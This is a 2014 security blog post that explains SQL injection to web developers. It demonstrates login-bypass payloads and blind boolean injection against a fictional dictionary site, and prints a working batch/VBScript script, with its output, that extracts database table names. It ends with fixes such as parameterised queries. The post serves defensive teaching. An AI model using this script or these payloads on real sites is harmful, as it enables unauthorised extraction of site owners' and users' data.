Monthly Archives: September 2014

I’m hacking your website with 15-year-old technology

But then, I’m hacking your website because of a 15-year-old flaw.

It’s been noted for some time that I love playing with XSS, simply because it’s so widespread, and because it’s an indication of the likely security stance of the rest of the website.

But if XSS is important because it’s widely spread, it’s got a relatively low impact.

Slightly less widely spread, but often the cause of far greater damage, is SQL injection.

I’ll talk some more later about how SQL injection happens, but for now a quick demonstration of the power of SQL injection.

What it isn’t – the login page

Every demonstration of SQL injection I’ve ever seen includes this example:

sqlCommandString = "SELECT userid FROM users WHERE userid='" + inputID + "' AND password='" + inputPass + "'"

And of course, the trick here is to supply the user ID “admin” and the password “' OR 1='1”.

Sure, IF you have that code in your app, that will let the user in as admin.

But then, IF you have that code in your app, you have many bigger problems than SQL injection – because your user database contains unprotected passwords, and a leak will automatically tell the world how poor your security is, and always has been.

More likely, if you have SQL injection in the logon code at all, is that you will have code like this:

sqlCommandString = "SELECT userid, password FROM users WHERE userid='" + inputID + "'"
… execute sqlCommandString …
… extract salt …
… hash incoming password …
… compare salted hash of incoming password against stored password …

Again, if you were to have designed poorly, you might allow for multiple user records to come back (suppose, say, you allow the user to reuse old passwords, or old hashing algorithms), and you accept the first account with the right password. In that case, yes, an attacker could hack the login page with a common password, and the user ID “' OR userid LIKE '%” – but then the attacker would have to know the field was called userid, and they’re only going to get the first account in your database that has that password.

Doubtless there are many login pages which are vulnerable to SQL injection attacks like this, but they are relatively uncommon where developers have some experience or skill.

So if not on the login page, where do we see SQLi?

Where do you use a SQL-like database?

Anywhere there’s a table of data to be queried, whether it’s a dictionary of words, or a list of popular kitchen repair technicians, etc, etc.

Imagine I’ve got a dictionary searching page, weblexicon.example (that doesn’t exist, nor does weblexicon.com). Its main page offers me a field to provide a word, for which I want to see the definition.

If I give it a real word, it tells me the definition(s).

image

If I give it a non-existent word, it apologises for being unable to help me.

image

Seems like a database search is used here. Let’s see if it’s exploitable, by asking for “example’” – that’s “example” with an extra single quote at the end.

image

That’s pretty cool – we can tell now that the server is passing our information off to a MySQL server. Those things that look like double-quotes around the word ‘example’ are in fact two single-quotes. A bit confusing, but it helps to understand what’s going on here.

So, let’s feed the web lexicon a value that might exploit it. Sadly, it doesn’t accept multiple commands, and gives the “You have an error in your SQL syntax” message when I try it.

Worse still, for some reason I can’t use the “UNION” or “JOIN” operators to get more data than I’m allowed. This seems to be relatively common when there are extra parentheses, or other things we haven’t quite guessed about the command.

I’m blind!

That means we’re stuck with Blind SQL injection. With a blind SQL injection, or Blind SQLi, you can generally see whether a value is true or false, by the response you get back. Remember our comparison of a word that does exist and a word that doesn’t? Let’s try that in a query to look up a true / false value:

image

image

So now, we can ask true / false questions against the database.

Seems rather limiting.

Let’s say we’re looking to see if the MySQL server is running a particular vulnerable version – we could ask for “example’ and @@version=’1.2.3.4” – a true response would give us the hint that we can exploit that vulnerability.

LIKE my ‘sploit

But the SQL language has so many other options. We can say “does your version number begin with a ‘4’”

image

Or 5.

image

A bit more exciting, but still pedestrian.

What if I want to find out what the currently executing statement looks like? I could ask “is it an ‘a’? a ‘b’? a ‘c’?” and so on, but that is too slow.

Instead, I could ask for each bit of the characters, and that’s certainly a good strategy – but the one I chose is to simply do a binary search, which is computationally equivalent.

What language, that’s the question…

A fifteen-year-old vulnerability (SQL injection is older than that, but I couldn’t do the maths) deserves the same age of language to write my attack in.

So I chose batch file and VBScript (OK, they’re both older than 15). Batch files can’t actually download a web page, so that’s the part I wrote in VBScript.

And the fun thing to dump would be all of the table names. That way, we can see what we have to play with.

So here you go, a simple batch script to do Blind Boolean SQL injection to list all the tables in the system.

setlocal ENABLEDELAYEDEXPANSION
setlocal ENABLEEXTENSIONS
echo wscript.echo chr(wscript.arguments(0)) > charout.vbs
set last=
set stem=%last%
set lasti=0
set out=sqli.out
:looping
@set found=_
:looping2
@cscript htget.vbs //nologo http://weblexicon.example/definition.php?query=example'+and+((select+table_name+from+information_schema.tables+limit+1+offset+%lasti%)+like+'%stem%%%')+and+1='1 >%out%
@findstr /c:"1. [n" %out%> nul || (
  set last2=%stem:\_=_%
  if "!last!" lss "!last2!" (
    set last=!last2!
    echo !last!
    set /a lasti=!lasti!+1
    set stem=
rem pause
    goto :looping
  )
  rem pause
  set stem=!stem:~0,-1!
  title %stem%.
  goto :looping2
)
@set nchars=1
@set nqueries=0
:charloop
@set lower=32
@set higher=127
:check
@set /a mid = (%lower% + %higher%) / 2
@cscript htget.vbs //nologo http://weblexicon.example/definition.php?query=example'+and+(ascii(substring((select+table_name+from+information_schema.tables+limit+1+offset+%lasti%)+from+%nchars%+for+1))+between+%lower%+and+%mid%)+and+1='1 >%out%
@set /a nqueries=%nqueries%+1
@findstr /c:"1. [n" %out%> nul && (
    set higher=%mid%
    set /a mid=%lower%-1
)
@set /a lower=%mid%+1
@if %lower% EQU 127 goto donecheck
@if %lower% NEQ %higher% goto check
@if %lower% EQU 32 @(set found= )
@for /f %%a in ('cscript charout.vbs //nologo %lower%') do @set found=%%a
@rem pause
@set stem=%stem%%found%
@rem echo . | set /p foo=%found: =+%
@title !stem!
@set /a nchars=%nchars%+1
@goto charloop
:donecheck
@echo %lasti%: %stem%
@rem (%nqueries% queries)
@rem pause
@set /a lasti=!lasti!+1
@set stem=
@goto :looping

And the output (demonstrating that there are still some concurrency issues to take care of):

0: CHARACTER_SETS
1: COLLATIONS
2: COLLATION_CHARACTER_SET_APPLICABILITY
3: COLUMNS
4: COLUMN_PRIVILEGES
5: ENGINES
6: EVENTS
7: F
8: GLOBAL_SgATUS
9: GLOBAL_VARIABLES
10: KEY_COLUMN_USAGE
11: PARAMETERS
12: PARTITIONS
13: PLUGINS
14: PROCESSLIST
15: PROFILING
16: REFERENTIAL_CONSTRAINTS
17: ROUTINES
18: SCHEMATA
19: SCHEMA_PRIVILEGES
20: SESSION_STATUS
21: SESSION_VARIABLES
22: STATISTICS
23: TABLES
24: TABLESPACES
25: TABLE_CONSTRAINTS
26: TABLE_PRIVILEGES
27: TRIGGERS
28: USER_PRIVILEGES
29: VIEWS
30: INNODB_BUFFER_PAGE
31: INNODB_TRX
32: INNODB_BUFFER_POOL_S
33: INNODB_LOCK_WAITS
34: INNODB_CMPMEM
35: INNODB_CMP
36: INNODB_LOCKS
37: INNODB_CMPMEM_RESET
38: INNODB_CMP_RESET
39: INNODB_BUFFER_PAGE_
40: alternatives
41: quotes
42: words

60 lines? What, that’s it?

Yes, that’s all it takes.

If you’re a developer of a web app which uses a relational database back-end, take note – it’s exactly this easy to dump your database contents. A few changes to the batch file, and I’m dumping column names and types, then individual items from tables.

And that’s all assuming I’m stuck with a blind SQL injection.

The weblexicon site lists table contents as its definitions, so in theory I should be able to use a UNION or a JOIN to add data from other tables into the definitions it displays. It’s made easier by the fact that I can also access the command I’m injecting into, by virtue of MySQL including that in a process table.

Note that if I’m attacking a different site with a different injection point, I need to make two changes to my batch script, and I’m away. Granted, this isn’t exactly sqlmap.py, but then again, sqlmap.py doesn’t always find or exploit all the vulns that you have available.

Summary

The takeaways today:

  1. SQLi is a high damage attack – an attacker can probably steal ALL your data from your databases, not just the data exposed on a page, and they may be able to modify ALL your data.
  2. SQLi is easy to find – there are lists of thousands of vulnerable websites available for anyone to view. And that’s without looking on the “Dark Web”. Also, any data-handling web site is a great target to try.
  3. SQLi is easy to exploit – a few lines of an archaic language are all it takes.
  4. SQLi is easy to fix. Parameterised queries, input validation, access control and least-privilege combine (don’t use just one!) to protect your site.

Disclaimer

The code in this article is for demonstration purposes – I’m not going to explain how it works, although it is very simple. The only point of including it is to show that a small amount of code can be the cause of a huge extraction of your site’s data, but can be prevented by a small change.

Don’t use this code to do bad things. Don’t use other code to do bad things. Bad people are doing bad things with code like this (and better) already. Do good things with this code, and keep those bad people out.